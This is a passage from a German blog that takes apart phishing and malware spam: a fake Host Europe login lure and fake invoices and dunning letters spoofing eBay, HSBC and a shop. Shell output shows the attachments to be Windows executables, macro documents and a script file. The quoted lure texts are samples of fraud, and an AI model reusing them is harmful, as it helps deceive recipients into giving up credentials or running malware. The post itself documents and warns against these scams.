Ich erspare hier jetzt mal die 4546 Byte lange HTML-Ausgabe dieses winzigen Skriptes und komme auf den Punkt. Man soll im generierten Dokument einen Usernamen und ein Passwort angeben. Diese werden jedoch nicht zu HostEurope gesendet, sondern zu einer Website in der Domain mailbusinessionos (punkt) com, die ganz sicher nichts mit HostEurope zu tun hat. (Der Hoster war inzwischen so nett, dieser Phishing-Site den Stecker zu ziehen.) Danach haben kriminelle Phisher die Zugangsdaten für das Webhosting anderer Leute, und sie werden dort alles tun, was ein gutes Geschäft für kriminelle Phisher ist: Vom Betrugsshop über weiteres Phishing bis hin zu Darstellungen sexuellen Kindesmissbrauchs. Und wer hat für diese Verbrechen die Kriminalpolizei vor der Tür stehen? Richtig: Die arme Seele von Domaininhaber und Website-Betreiber, die auf ein Phishing reingefallen ist. 🎣️

Sollten Sie Fragen zu Ihrer Rechnung oder Ihrem Vertrag haben, helfe ich Ihnen gerne weiter.

Wer sich fragt, wie man verhindern kann, auf so etwas reinzufallen: Das ist sehr einfach, und man braucht dafür weder spezielle Software noch muss man besondere Kenntnisse haben. Niemals in eine E-Mail klicken! Auch nicht, um einen Anhang zu öffnen! Wenn man solche Websites wie die seiner Bank, seines Händlers, seines Webhosters etc. als Lesezeichen im Webbrowser ablegt und nur über das Lesezeichen im Webbrowser aufruft, kann einem kein Krimineller einen vergifteten Link unterschieben. Nach einer solchen Mail einfach die Website über das Lesezeichen aufrufen. Dieses bisschen Vorsicht, das nichts kostet und mit keinem Komfortverlust verbunden ist, kann viel Geld und jahrelangen Ärger ersparen. Und es ist sehr einfach. Aber das erwähnte ich ja schon. 🛡️

Also: Lasst die Phisher verhungern! Keiner vermisst sie. ⚰️

Ihr

Host Europe GmbH
Kundenservice

Host Europe GmbH • Hansestr. 111 • 51149 Köln •
Gerichtsstand: HRB 28495 • Amtsgericht Köln • Umsatzsteuer.-ID: DE187370678
Geschäftsführer: Paul Ashcroft, Tim Montag, Michele Lau, Nicholas Daddario

Wie schon gesagt: HostEurope hat mit dieser Spam nichts zu tun.

Euer Nachtwächter!

Diese Phishing-Spam aus dem täglichen Klo ist ein Zustecksel meines Lesers A. H.

Fwd: TOP URGENT_ PAYMENT INSTRUCTION,

Montag, 27. September 2021

Wie, soll ich mal wieder betrogen werden?

Good day,

Should we proceed payment to this account in the attached invoice?

The below invoice was forwarded to the account department this morning by our sales department.

Check the attached Invoice and confirm for a final confirmation of the details for the payment

Thanks & Regards

ACCOUNT MANAGER

HSBC Bank USA, N.A.
P.O. Box 0021

Buffalo, NY 14240

Phone: +971 6 764■■■■

Fax: +971 6 764■■■■

Nein, ich, der ich von meiner Mutter mit dem Namen „Guten Tag“ gestraft wurde, soll einen Mailanhang aufmachen, in dem angeblich eine Rechnung liegt. Und in der Tat: Die Mail hat einen Anhang…

$ file payment\ 001.r00 
payment 001.r00: RAR archive data, v4, os: Win32
$ rar l payment\ 001.r00 

RAR 5.50   Copyright (c) 1993-2017 Alexander Roshal   11 Aug 2017
Trial version             Type 'rar -?' for help

Archive: payment 001.r00
Details: RAR 4

 Attributes      Size     Date    Time   Name
----------- ---------  ---------- -----  ----
    ..A....    779776  2021-09-27 01:45  $$$.exe
----------- ---------  ---------- -----  ----
               779776                    1

$ _

…und dieser ist keine Rechnung, sondern ein RAR-Archiv. In diesem Archiv befindet sich kein Dokument, was schon gefährlich genug wäre, sondern eine ausführbare Datei für Microsoft Windows. Wer das Archiv auspackt und auf diese Datei einen Doppelklick macht, führt Software von spammenden Verbrechern aus und hat hinterher einen Computer anderer Leute auf dem Schreibtisch stehen oder im schlimmsten Fall alle Computer eines Firmennetzwerkes an Kriminelle übergeben. Deshalb klickt man ja auch nicht auf solche Dateien aus einem Mailanhang.

Das Antivirus-Schlangenöl wird in vielen Fällen nicht helfen. Zurzeit wird die klare Schadsoftware nur von einem guten Siebtel der Programme für die gefühlte Computersicherheit als klare Schadsoftware erkannt und behandelt.

Wer sich hingegen angewöhnt, nicht in E-Mail zu klicken und niemals einen E-Mail-Anhang zu öffnen, der nicht vorher über einen anderen Kanal als E-Mail vereinbart wurde, ist auf der sicheren Seite. Der Absender einer E-Mail ist übrigens nichts wert. Da kann jeder eintragen, was er will. Deshalb gibt es ja auch digitale Signatur, um wenigstens sicherzustellen, dass der Absender einen bestimmten privaten Schlüssel hat, aber diese über dreißig Jahre alte und völlig kostenlos anzuwendende Technik will sich nicht durchsetzen, weil man dafür klicken können muss. 🙁

Meine Prognose, obwohl ich es nicht weiß: Auch unter Windows 11, dem Nachfolger der letzten Windows-Version, die Microsoft jemals machen wollte, wird in den Standardeinstellungen die Dateinamenserweiterung ausgeblendet sein, so dass der Anwender den Unterschied zwischen einem PDF-Dokument und einer ausführbaren Datei, deren Piktogramm das Piktogramm eines PDF-Dokumentes ist nicht wahrnehmen kann. Keine andere schlechte Entscheidung Microsofts aus den Neunziger Jahren hat dermaßen viel Schaden angerichtet. 🙁

Danke für Ihre Bestellung!

Donnerstag, 29. Oktober 2020

⚠️ WARNUNG! Auf gar keinen Fall den Anhang solcher Rechnungen öffnen. Es ist das reinste Gift für den Computer.

Von: Gretel Baumhauer <info@balt-development.online>

Natürlich ist die Absenderadresse gefälscht, und sie ist nicht einmal so gefälscht…

Sie haben eine Nachricht vom cellonic.com

…das sie so aussieht, als käme sie vom vorgeblichen Absender. Die armen Seelen, die jetzt die Rückläufer auf der falschen Absenderadresse bekommen, tun mir leid.

Bestellnummer 303-3903773-1119531

Zahlen sehen ja immer sehr wichtig aus. Also kann man mal eben rasch Zahlen reinschreiben, obwohl die gar nichts sagen. Ich habe auch ganz viele Zahlen, wenn das sein muss:

$ for i in $(seq 1 5); do echo $i. $RANDOM-$RANDOM$RANDOM-$RANDOM; done
1. 18059-3076913794-12615
2. 19731-2579621933-30405
3. 19655-247087743-22924
4. 12797-3168413414-14016
5. 5914-2463332599-18021
$ _

Voll überzeugend, nicht wahr? Und ich kann ganz viele davon machen. 😉

Anzahl Produktname und ASIN

Apple iPhone XR (64GB) – (PRODUCT)BLACK
ASIN: B07TW2MY3C
Lieferkosten Gratis
Zwischensumme 762,85 €

Schön, dass die angebliche Lieferung nichts kostet. :mrgreen:

Hallo

Genau mein Name! 👏

Vielen Dank für Ihren Einkauf in unserem Shop.

Aber ich habe nichts eingekauft. 🛒

Die Rechnung wurde Ihnen in einem Anhang zugesandt. Überprüfen Sie bitte das.

Leider stand nicht mehr genug Mailpapier zur Verfügung, so dass in der Mail weder eine Kontonummer noch sonst etwas steht, so dass man in eine Spam klicken soll, wenn man wissen will, um was es sich handelt. Diese Überraschungseier sind ja auch ein Erfolgsprodukt, da kann man das auch mit E-Mail machen. 🥚

Wenn Sie Fragen haben, kontaktieren Sie uns bitte so schnell wie möglich.

Eine Telefonnummer für Rückfragen ist nicht in der Mail angegeben. Wenn man wissen möchte, wohin man seine Frage so schnell wie möglich stellen kann, muss man wiederum den Anhang aufmachen. 💀

Der Anhang ist…

$ ls -lh *.doc
-rw-rw-r-- 1 elias elias 958K Okt 29 13:50 'Zahlungsrechnung für Ihre Bestellung.doc'
$ file *.doc | sed 's/,/\n/g'
Zahlungsrechnung für Ihre Bestellung.doc: Composite Document File V2 Document
 Little Endian
 Os: Windows
 Version 10.0
 Code page: 1251
 Title:  
 Author: Clinical Trial Services
 Template: Normal.dotm
 Last Saved By: 1
 Revision Number: 82
 Name of Creating Application: Microsoft Office Word
 Total Editing Time: 02:45:00
 Last Printed: Mon Apr  9 07:08:00 2001
 Create Time/Date: Fri Apr  6 09:07:00 2001
 Last Saved Time/Date: Thu Oct 29 07:31:00 2020
 Number of Pages: 1
 Number of Words: 6
 Number of Characters: 36
$ _

…ein Dokument für Microsoft Word aus dem Jahr 2001, das in seinem fast ein Megabyte Dokumentgröße nur sechs Wörter und 36 Zeichen enthält, also ganz sicher keinen Aufschluss über meine angebliche Bestellung oder über die Bankverbindung gibt, zu der ich das Geld überweisen soll. Es geht da um etwas ganz anders, nämlich…

Screenshot des Dialogfensters, das beim Öffnen des Dokumentes mit Libre Office angezeigt wird. -- Dieses Dokument enthält Makros. -- Makros können Viren enthalten. Die Ausführung dieser Makros wird aufgrund der aktuellen Makrosicherheits-Einstellung unter Extras - Optionen - LibreOffice-Sicherheit unterbunden. -- Manche Funktionen stehen daher möglicherweise nicht zur Verfügung. -- [OK]

…um die Ausführung von Programmcode, der mit einer irreführend formulierten Spam zugestellt wurde. Wer dieses Dokument mit Microsoft Word öffnet und die Ausführung von Makros zulässt, hat hinterher einen Computer anderer Leute auf dem Schreibtisch stehen. ☣️

Nein danke, ich habe keine weiteren Fragen. 💩

Ich wünsche dir heute Glück!

Wer sich nicht auf sein Glück verlassen möchte, löscht diese Spam einfach. Wer sich auf sein Antivirus-Schlangenöl verlässt, ist einmal mehr verlassen, denn diese klare Schadsoftware wird zurzeit nur von rund zehn Prozent der gängigen Antivirus-Programme als Schadsoftware erkannt. 👎

Schlangenöl funktioniert also nicht. Es funktioniert nie bei aktueller Schadsoftware. Wer so einen Müll an „Hallo“ hingegen einfach löscht, statt wie ein Blödchen darauf herumzuklicken, ist jedoch auf der sicheren Seite und darf seinen Computer behalten. 🗑️👍

Freundliche Grüße,

Erin

Wie jetzt, nicht mehr Gretel? 🤦

Im Moment, wo wegen Corona vermehrt im so genannten „Homeoffice“ gearbeitet wird, häufen sich solche Versuche, den Menschen Schadsoftware unterzujubeln. Die Spams kommen auch durch empfindlich eingestellte Spamfilter. Ich kann nur empfehlen, äußerst vorsichtig mit Links aus E-Mail und mit E-Mail-Anhängen umzugehen und niemals in eine E-Mail zu klicken, ohne sich vorher durch ein kurzes Telefongespräch davon vergewissert zu haben, dass der angegebene Absender auch der richtige Absender ist. Denn Absender einer E-Mail können beliebig gefälscht werden. Dettelbach ist überall.

Natürlich enthält die angebliche Rechnung…

So sieht die angebliche Rechnung aus

…eine „Aufforderung von Microsoft“, dass man die Ausführung von Makros freischalten soll. Wer das tut, hat verloren und bekommt eine frische Ladung Gift geliefert. 🍄

Copyright 2020 Cellonic Inc. oder Tochtergesellschaften. Alle Rechte vorbehalten.
Cellonic Services Europe S.à r.l.
38 avenue Mike F. Kennedy
L-1855 Luxembourg
Handelsregisternummer Luxemburg: B-93815
Gewerbelizenznummer: 132595
USt.-Identifikationsnummer Luxemburg: LU 19647142

Meine Version dieser Spam wurde über eine IP-Adresse aus Russland versendet. Diese Mail hat definitiv niemals…

Wichtiger Hinweis: Wenn Sie dieser E-Mail antworten, wird Cellonic.com Ihre E-Mail-Adresse mit einer von Cellonic.com bereitgestellten Adresse ersetzen, um Ihre Identität zu schützen, und die Nachricht in Ihrem Namen weiterleiten. Um einen möglichen Betrug zu verhindern, setzt Cellonic.com Filtertechniken ein. Nachrichten, die diesen Filter nicht passieren, werden nicht weitergeleitet. Amazon.de behält Kopien aller über diesen Service gesendeten und empfangenen E-Mails, einschließlich der Nachricht, die Sie hier eingeben. Cellonic.com wird diese Kopien insbesondere zur Klärung von eingereichten A-bis-z-Garantie-Anträgen heranziehen. Indem Sie diesen Dienst nutzen, erklären Sie sich mit diesem Vorgehen einverstanden.

…einen Server von Amazon auch nur gesehen.

von AVAST
verifiziert

Ja ja, ist schon klar, da hängt man frische Schadsoftware an eine Spam und schreibt in die Spam rein, dass ein Antivirus-Schlangenöl nachgeguckt hat, dass die Spam auch virenfrei ist. Einmal ganz davon abgesehen, dass Avast wegen seiner verlogenen und nutzerbestupsenden Scareware-Machenschaften eine Reputation auf dem Niveau eines Plumpsklos haben sollte. 🚽

info@company-name.com

Ah ja! 🤣

Invoice 55181

Mittwoch, 21. Oktober 2020

Eine Rechnung? Aber ich habe doch gar nichts gekauft. ⛔

To Customer :

Der Absender weiß nicht, wie ich heiße. Er kennt von mir nur eine Mailadresse, die er irgendwo eingesammelt oder gekauft hat. Da schreibt er eine Mail hin. Leider…

Please find your invoice attached.

…ist ihm beim Schreiben das Mailpapier ausgegangen, und deshalb konnte er im Text seiner Mail weder den Rechnungsbetrag, noch die Bankverbindung noch sonstwas nennen. Um irgendetwas zu erfahren, muss ich einen Mailanhang öffnen. Ich kann natürlich auch…

If you have any questions please feel free to contact me.

…so frei sein, Kontakt zum Absender aufzunehmen. Leider hat er weder eine Telefonnummer noch eine Anschrift noch sonstwas. Er hat nur einen Mailanhang, der mit einer unpersönlich formulierten Massenspam rausgesendet wurde. 👤

Your business is much appreciated.

Das liegt daran, dass das Geschäft dieses Durchschnittshalunkens in der Spam besteht. Und zwar in der Spam, in der Empfänger irgendwelche Anhänge aufmachen müssen, um irgendetwas zu erfahren. 🙄

Sincerely,

Accounting

Mit Winkewinke vom spammenden Halbhirn. 👋

To view attachment
Open the attached PDF file. You must have Acrobat® Reader® installed to view the attachment.

So so, das soll also ein PDF im Anhang sein? 🤔

$ file Inv_55181_from_951805.xlsm 
Inv_55181_from_951805.xlsm: Microsoft Excel 2007+
$ _

Mitnichten, es ist eine Arbeitsmappe für Microsoft Excel. Schon ein PDF in einer derartigen Spam wäre gefährlich und sollte besser auf gar keinen Fall im Acrobat mit seiner erschröcklichen Sicherheitsgeschichte geöffnet werden, eine Office-Datei mit Makros ist aber ganz sicher das reinste Gift. 💀

Screenshot des Dialogfensters, das beim Öffnen des Dokumentes mit Libre Office angezeigt wird. -- Dieses Dokument enthält Makros. -- Makros können Viren enthalten. Die Ausführung dieser Makros wird aufgrund der aktuellen Makrosicherheits-Einstellung unter Extras - Optionen - LibreOffice-Sicherheit unterbunden. -- Manche Funktionen stehen daher möglicherweise nicht zur Verfügung. -- [OK]

Der wichtigste Satz in dieser Warnung, die man erhält, wenn man die Excel-Mappe mit LibreOffice öffnet, ist folgender: Makros können Viren enthalten. Ja, ein Makro für ein Office-Programm kann beinahe alles, was eine ausführbare Datei auch kann. Warum? Weil bei Microsoft keiner an Sicherheit gedacht hat, als dieses Feature in Office implementiert wurde; weil keiner damit gerechnet hat, dass es einen kriminellen Missbrauch dieser Möglichkeit geben könnte. Und jetzt haben wir den Käse. 🧀

Haftbar wird Microsoft für die Folgen dieser dummen Entscheidung nicht gemacht. Deshalb haben Microsoft-Nutzer auch nur den Schaden, aber keinerlei Entschädigung. Wenn ganze Betriebe von Kriminellen übernommen und tagelang mit Erpressungstrojanern sabotiert werden – wie es etwa im Jahr 2017 die Deutsche Bahn AG erleben durfte, nachdem ein Mitarbeiter einen Mailanhang oder eine in der Mail verlinkte Datei geöffnet und damit deutschlandweit Computer der Deutschen Bahn AG sabotiert hat – kommt schnell ein riesiger Schaden zusammen, der sogar Unternehmen in die Insolvenz befördern kann. Aber so lange es dann in den PResseerklärungen hinterher verschleiernd und verdummend „Wir wurden gehackt“ heißt, weil das nun einmal viel epischer klingt als „Einer unserer Mitarbeiter hatte keinerlei Security-Grundkenntnisse, war halt digitaler Analphabet und hat deshalb eine von einem Kriminellen in einer Datei zugestellte Schadsoftware gestartet; wir versuchen gerade, ihn für den angerichteten Schaden haftbar zu machen, denn er hat ja in seiner Bewerbung behauptet, grundlegende Computerkenntnisse zu haben“, so lange wird das erforderliche Bewusstsein, wie wichtig das Gehirn in der Bekämpfung von kriminellen, über das Internet vorgetragenen Attacken ist. Und diese Dummheit, dieses Fehlen von Bewusstsein, diese Unwilligkeit, Wissen zu erlangen – sie sind die Geschäftsgrundlage für den massenhaften Verkauf von Antivirus-Schlangenöl an die von Reklame und Schleichwerbung technoabergläubisch gemachten Menschen.

Die Schadsoftware im Makro ist relativ frisch und wird zurzeit nur von rd. dreißig Prozent der gängigen Antivirus-Programme erkannt. Ein Großteil der Menschen, die sich auf ihr Antivirus-Schlangenöl verlassen, ist also verlassen. Wer hingegen auf sein Gehirn setzt und diese klare Spam sofort als klare Spam erkennt, wer niemals ein unabgesprochen zugestellten Anhang in einer nicht digital signierten E-Mail öffnet, ohne vorher telefonisch nachzufragen, der löscht diesen Müll, ist auf der sicheren Seite und erspart sich die recht regelmäßigen Probleme mit dem Antivirus-Schlangenöl, die zusätzlichen Sicherheitslücken durch das Antivirus-Schlangenöl und den vom Schlangenöl ausgebremsten, mit sich selbst beschäftigten Computer. 🐌

Es wird ja gern von der kommenden Klimakatastrophe berichtet. Aber niemand wirft die Frage auf, wie viel Kohlendioxid in die Atmosphäre gepumpt wird, weil irgendwelche selbst bei ihren Herstellern nicht funktionierenden Schlangenöl-Programme mit hohem Aufwand gefühlte Sicherheit vermitteln sollen, aber gegenüber einer aktuellen Schadsoftware oft nur so hilfreich wie ein auf dem Computer geklebtes Heiligenbildchen sind: Gar nicht. 👎

Es gibt keine Alternative zum besten Antivirusprodukt der Welt: Das Gehirn, das mit Wissen und Verstand seine Entscheidungen trifft. 🧠🛡️

Rechnung noch offen 26.09.2017 Nummer 74131987

Montag, 2. Oktober 2017

Achtung! Auf keinen Fall den Anhang aufmachen. Er ist das reinste Gift. Echte Mahnungen kommen übrigens mit der Sackpost, nicht mit der Mail.

Von: Ebay GmbH Stellvertretender Rechtsanwalt <service@ebay.de>

Die Mail hat niemals einen Server von eBay gesehen. Der Absender ist gefälscht.

Guten Tag,

Genau mein Name!

unsere Kanzlei wurden heute am 26.09.2017 vom Unternehmen Ebay GmbH beauftragt Ihre finanziellen Interessen in Ihrem Fall zu schützen.

So so, die Kanzlei „eBay GmbH Stellvertretender Rechtsanwalt“ wurde also beauftragt. Manche Menschen wurden von ihren Müttern mit sehr unvorteilhaften Namen bestraft. 😀

Wir erwarten die Überweisung bis zum 02.10.2017 auf unser Konto. Können wird bis zum genannten Datum keine Zahlung verbuchen, sehen wir uns gezwungen Ihren Fall an ein Gericht abzugeben. Alle damit verbundenen Kosten werden Sie tragen.

Den Absendern dieser Spam geht es nicht um Geld, das man ihnen überweisen soll. Sonst würden sie auch in die E-Mail reinschreiben…

  1. …um welchen Gesamtbetrag es sich handelt, und
  2. …auf welches Konto dieser Betrag überwiesen werden soll.

Dass sie das nicht tun, liegt nicht am Platzmangel in der Mail. Die völlig sinnlose Angabe einer sittenwidrig kurzen Frist „bis heute“ konnten sie ja auch schreiben. Ein geübter Schreiber des Deutschen würde übrigens bei einer Fristsetzung immer den Monatsnamen ausschreiben, um keinerlei Missverständnisse aufkommen zu lassen.

Wenn die Verfasser dieses einschüchternden Strunztextes wirklich wollten, dass man das scheinbar eingeforderte Geld auch bezahlt, schrieben sie auch nicht, dass man wegen einer Vorgangsnummer 08/15 grundlos Geld bezahlen soll. Sie wollen es aber nicht. Sie wollen nur…

Die detaillierte Kostenaufstellung Nr. 741319877, der Sie alle Einzelpositionen entnehmen können, fügen wir bei.

…dass man einen Anhang öffnet. Dieser Anhang ist…

$ unzip -l 26.09.2017.zip 
Archive:  26.09.2017.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   487933  2017-10-01 10:25   Rechnung vom 26.09.2017.zip
---------                     -------
   487933                     1 file
$ unzip 26.09.2017.zip 
Archive:  26.09.2017.zip
  inflating: Rechnung vom 26.09.2017.zip
$ unzip -l "Rechnung vom 26.09.2017.zip" 
Archive:  Rechnung vom 26.09.2017.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   504320  2017-10-01 10:25   26.09.2017 Rechnung.com
---------                     -------
   504320                     1 file
$ _

…ein ZIP-Archiv, in dem ein ZIP-Archiv verpackt wurde, in dem eine ausführbare Datei für Microsoft Windows verpackt wurde. Diese ist ein Programm, das von spammenden Kriminellen mit einer irreführend und alarmierend formulierten Mail zugestellt wurde. Wer dieses Programm auf seinem Computer gestartet hat, hat ein Problem.

Die klare Schadsoftware wird zurzeit nur von einem Drittel der gängigen Antivirus-Schlangenöle erkannt. Wer sich nur darauf verlässt, ist häufig wieder einmal verlassen und „darf“ demnächst bang Banknoten der Europäischen Zentralbank gegen Bitcoin eintauschen und darauf hoffen, dass er wieder an seine von Verbrechern verschlüsselte Festplatte kommt. Dagegen gibt es übrigens auch ein gutes Mittel, das allerdings vorbeugend angewendet werden muss… 😉

Zum allgemeinen Umgang mit E-Mail-Anhängen empfehle ich, noch einmal das zu lesen, was ich im vorigen Jahr anlässlich einer von Erpressungstrojanern gepwnten Stadtverwaltung schrieb. Kurze Zusammenfassung: Niemals einem E-Mail-Anhang öffnen, der nicht vorher über einen anderen Kanal als E-Mail explizit vereinbart wurde und durchgehend digitale Signaturen nutzen, um den Absender eine E-Mail jenseits jedes vernünftigen Zweifels sicherstellen zu können.

Aufgrund des bestehenden Zahlungsrückstands sind Sie verpflichtet außerdem, die durch unsere Tätigkeit entstandene Kosten von 64,92 Euro zu tragen. Um weitete Kosten auszuschließen, bitten wir Sie den ausstehenden Betrag auf unser Konto zu überweisen. Berücksichtigt wurden alle Buchungseingänge bis zum 25.09.2017.

Jetzt haben die Verbrecher das Wichtigste in ihrem Strunztext geschrieben – nämlich den Vorwand, weshalb der Empfänger eine Schadsoftware starten soll – und die Gedanken sind schon wieder im Bordell, so dass die Konzentration nachlässt und sich eine Menge kleiner Fehler einschleichen. „Sind sie verpflichtet außerdem“ oder „die entstandene Kosten“ würde in keiner echten Vorlage für regelmäßig versendete Mahnungen längere Zeit Bestand haben.

Bei Rückfragen oder Reklamationen erwarten wir eine Kontaktaufnahme innerhalb von drei Werktagen.

Ich kann mir lebhaft vorstellen, wie zurzeit die gefälschte Absenderadresse mit Mails bombadiert wird und auf Seiten eBays Aufwand und Kosten verursacht. Den Verbrechern ist das egal. Die interessieren sich nur für ihr eigenes verbrecherisches Geschäft. Es sind asoziale Spammer.

Mit besten Grüßen

Stellvertretender Rechtsanwalt Oskar Klein

Diese Spam und diese Schadsoftware sind die besten Grüße der Spammer. Bessere haben sie nicht anzubieten. :mrgreen:

Offene Rechnung: Buchung 42628390

Donnerstag, 21. September 2017

Von: Directpay24 GmbH Abrechnung <admin@ebay.com>

Diese Spam hat mit eBay nichts zu tun. Sie wurde über einen angemieteten „Cloud“-Server versendet. Der Absender ist gefälscht.

Sehr geehrter Käufer,

Was habe ich denn gekauft? Und vor allem: Unter welchem Namen habe ich das gekauft. Ich werde ja wohl einen Namen und eine Lieferadresse angegeben haben, sonst käme ja gar nichts bei mir an. Och, habt ihr Spammer zu meiner Mailadresse noch keinen Namen?! Tja, dann klappt es eben nicht mit einer überzeugenden Ansprache des Empfängers.

wir wurden heute am 18.09.2017 vom Unternehmen Directpay24 GmbH gebeten Ihre [sic! Großgeschrieben! Die sprechen mich an!] finanziellen Rechte in Ihrem Fall zu schützen.

Wie, ihr wollt meine Rechte schützen? Und dafür bezahlt jemand anders, bei dem ich angeblich Schulden habe, einfach so Geld an euch? Oder habt ihr bei eurer riesigen Pay-Klitsche mit den achtstelligen Rechnungsnummern mal wieder nicht das Geld für einen richtigen Dolmetscher für eure 08/15-Standardschreiben übrig und formuliert deshalb so missverständlich und falsch?

Wir erwarten die vollständige Zahlung zuzüglich der Zusazgebühren [sic!] bis zum 22.09.2017 auf unser Konto. Können wird [sic!] bis zum genannten Datum keine Zahlung verbuchen, sehen wir uns gezwungen Ihren Mahnbescheid an ein Gericht abzugeben. Sämtliche damit verbundenen Kosten werden Sie tragen.

Wenn ihr wirklich Geld von mir wolltet, statt mich einfach nur dazu überrumpeln zu wollen, dass ich euren vergifteten Anhang öffne, würdet ihr ganz sicher folgende Angaben machen:

  1. Grund für die Forderung (und zwar nicht als Nummer)
  2. Forderungsbetrag
  3. Höhe der „Zusazgebühren“
  4. IBAN für die Überweisung

Aber dann würde ja nahezu jeder Empfänger bemerken, dass eure Mail nichts als alarmierend formulierter Quatsch ist, dessen einziger Zweck es ist…

Eine vollständige Kostenaufstellung Nr. 426283909, der Sie alle Einzelpositionen entnehmen können, fügen wir bei.

…den Empfänger zum Öffnen eines Anhanges aus der Spam zu bringen. Denn allen Bemühungen der Werber um eine weitgehende Enthirnung des Konsumenten zum Trotze wissen die meisten Menschen noch recht genau, was sie gekauft haben.

Wer eine „Rechnung“ schreibt, und nicht mindestens die oben genannten Angaben macht, ist immer ein Spammer. Die Mail kann einfach in den Müll. Es gibt keinen vernünftigen Grund, solche Angaben erst in einem Anhang zu machen, wenn man das Geld auch haben will. Nur, wer das Geld nicht will, drückt sich dermaßen Nichts sagend aus und verweist auf einen Anhang, der geöffnet werden muss.

Der Anhang ist hier ein ZIP-Archiv mit dem Dateinamen 18.09.2017.zip und einer recht wuchtigen Dateigröße von 475 KiB. In diesem ZIP-Archiv…

$ unzip -l 18.09.2017.zip 
Archive:  18.09.2017.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   487374  2017-09-21 02:11   Rechnung vom 18.09.2017.zip
---------                     -------
   487374                     1 file
$ _

…befindet sich ein weiteres ZIP-Archiv, wenn doppelt ja bekanntlich besser hält und eine kompliziertere Verpackung des kriminellen Sondermülls die Spamfilterung auf Mailservern erschwert. Nun gut…

$ unzip 18.09.2017.zip 
Archive:  18.09.2017.zip
  inflating: Rechnung vom 18.09.2017.zip
$ unzip 'Rechnung vom 18.09.2017.zip' 
Archive:  Rechnung vom 18.09.2017.zip
  inflating: 18.09.2017 Rechnung.com
$ ls -lh *.com
-rw-rw-r-- 1 elias elias 492K Sep 21 02:11 18.09.2017 Rechnung.com
$ file *.com
18.09.2017 Rechnung.com: PE32 executable (GUI) Intel 80386, for MS Windows
$ _

…das Auspacken der doppelt eingepackten Datei führt keineswegs zu einem Dokument, sondern zu einer ausführbaren Datei für Microsoft Windows, die mit gezielten Irreführungen von Kriminellen mit einer Spam zugestellt wurde. Wer auf diese Datei doppelklickt, startet damit ein Programm von Verbrechern. Das ist keine gute Idee. Es ist sogar eine ausgesprochen dumme Idee. Wer wissen will, wie die bessere Idee aussieht, lese bitte einfach noch einmal nach, was ich vor anderthalb Jahren anlässlich des Erpressungstrojaners in der Stadtverwaltung Dettelbach geschrieben habe. Danach einfach den kriminellen Sondermüll löschen und sich den schöneren Dingen am Internet zuwenden!

Bei diesem Anhang handelt es sich nämlich völlig sicher um Schadsoftware. Diese wird allerdings zurzeit nur von rd. einem Fünftel der Antivirus-Programme erkannt. Deshalb ist und bleibt es wichtig, dass man derartige Spam selbst erkennt und löscht, statt darin herumzuklicken.

Aufgrund des andauernden Zahlungsverzug [sic!] sind Sie gezwungen außerdem [sic!], die durch unsere Tätigkeit entstandene Kosten [sic!] von 97,91 Euro zu bezahlen. Um weitete Kosten auszuschließen [sic!], bitten wir Sie den ausstehenden Betrag auf unser Konto [Welches Konto und welcher Gesamtbetrag?] zu überweisen. Berücksichtigt wurden alle Buchungseingänge bis zum 15.09.2017 [sic!].

Aha, die wesentliche Botschaft – machen sie ganz schnell und dringend den Anhang auf – haben die Spammer jetzt rübergebracht, und danach lässt halt die Konzentration ein wenig nach. Deshalb brauche ich eine Sonderschnellüberweisung mit der Zeitmaschine, denn mittlerweile ist schon der 21. September. Aber man kann ja wirklich nicht von den Kriminellen erwarten, dass sie ihre Texte vor dem Absenden einmal kurz überfliegen und allzu peinliche Fehler korrigieren, denn wenn sie sich Mühe geben wollten, dann könnten sie ja einfach arbeiten gehen und brauchten keine Erpressungstrojaner in wehrlose Postfächer zu spammen. Zudem scheint es mir sicher, dass die Absender dieses E-Mülls nicht so gut deutsch können und ihren Text einfach aus einigen anderen Spams zusammengesetzt haben.

Bei Rückfragen oder Reklamationen erwarten wir eine Kontaktaufnahme innerhalb von zwei Werktagen.

Klar doch! Ohne angegebene Kontaktmöglichkeit. Oder soll man einfach die Drecksmail mit ihrem gefälschten Absender beantworten? Der admin@ebay.com wird sich aber sehr über den Kaufmannskram „freuen“, der in Wirklichkeit nur eine Masche ist, um Leuten einen Trojaner unterzujubeln.

Mit verbindlichen Grüßen

Abrechnung Lars Beham

Mit verwünschenden Grüßen!

Spamlektüre Elias Schwerdtfeger

Invoice PIS4710314

Mittwoch, 14. Juni 2017

Oh, ich habe eine Rechnung bekommen? Von wen? Und vor allem: Wofür? Mal schauen, was in der E-Mail drinsteht:

Please find Invoice PIS4710314 attached.

Aha! Es ist eine dieser E-Mails, in deren Text gar nichts steht und deren Anhang alle Fragen beantworten soll – oder anders und so deutlich wie möglich gesagt: Es ist eine Schadsoftware im Anhang.

Der Anhang ist ein ZIP…

$ unzip -l InvoicePIS4710314.zip 
Archive:  InvoicePIS4710314.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     6670  2017-06-13 11:37   C8DTJJCH.zip
---------                     -------
     6670                     1 file
$ _

…das ein ZIP enthält…

$ unzip InvoicePIS4710314.zip 
Archive:  InvoicePIS4710314.zip
  inflating: C8DTJJCH.zip 
$ unzip -l C8DTJJCH.zip
Archive:  C8DTJJCH.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    19739  2017-06-13 11:37   C8DTJJCH.wsf
---------                     -------
    19739                     1 file
$ _

…das nicht etwa eine Rechnung in irgendeinem Dokumentformat, sondern ein Windows Script File enthält; ein ausführbares Programm für Microsoft Windows. Dieses Programm wurde in einer E-Mail mit irreführendem Text zugestellt; von ihm wurde behauptet, dass es sich um ein Dokument mit einer Rechnung handele und es ist ausgesprochen kryptisch formuliert, um eine Analyse zu erschweren. Es ist eine ganz klare Schadsoftware. Wer dieses Programm auf einem unter Microsoft Windows laufenden Computer mit einem Doppelklick ausführt, hat in weniger als einer Sekunde einen Computer anderer Leute auf dem Schreibtisch stehen. Ob diese „anderen Leute“ die Festplatte verschlüsseln, den Rechner sperren und Bitcoin für die Entsperrung und Entschlüsselung einfordern, oder ob sie einfach „nur“ heimlich ein paar Trojaner nachinstallieren, die Online-Banking manipulieren, Betrugsgeschäfte durchführen, illegale Pornografie verteilen und Spam versenden, in jedem Fall wird ein Schaden entstehen.

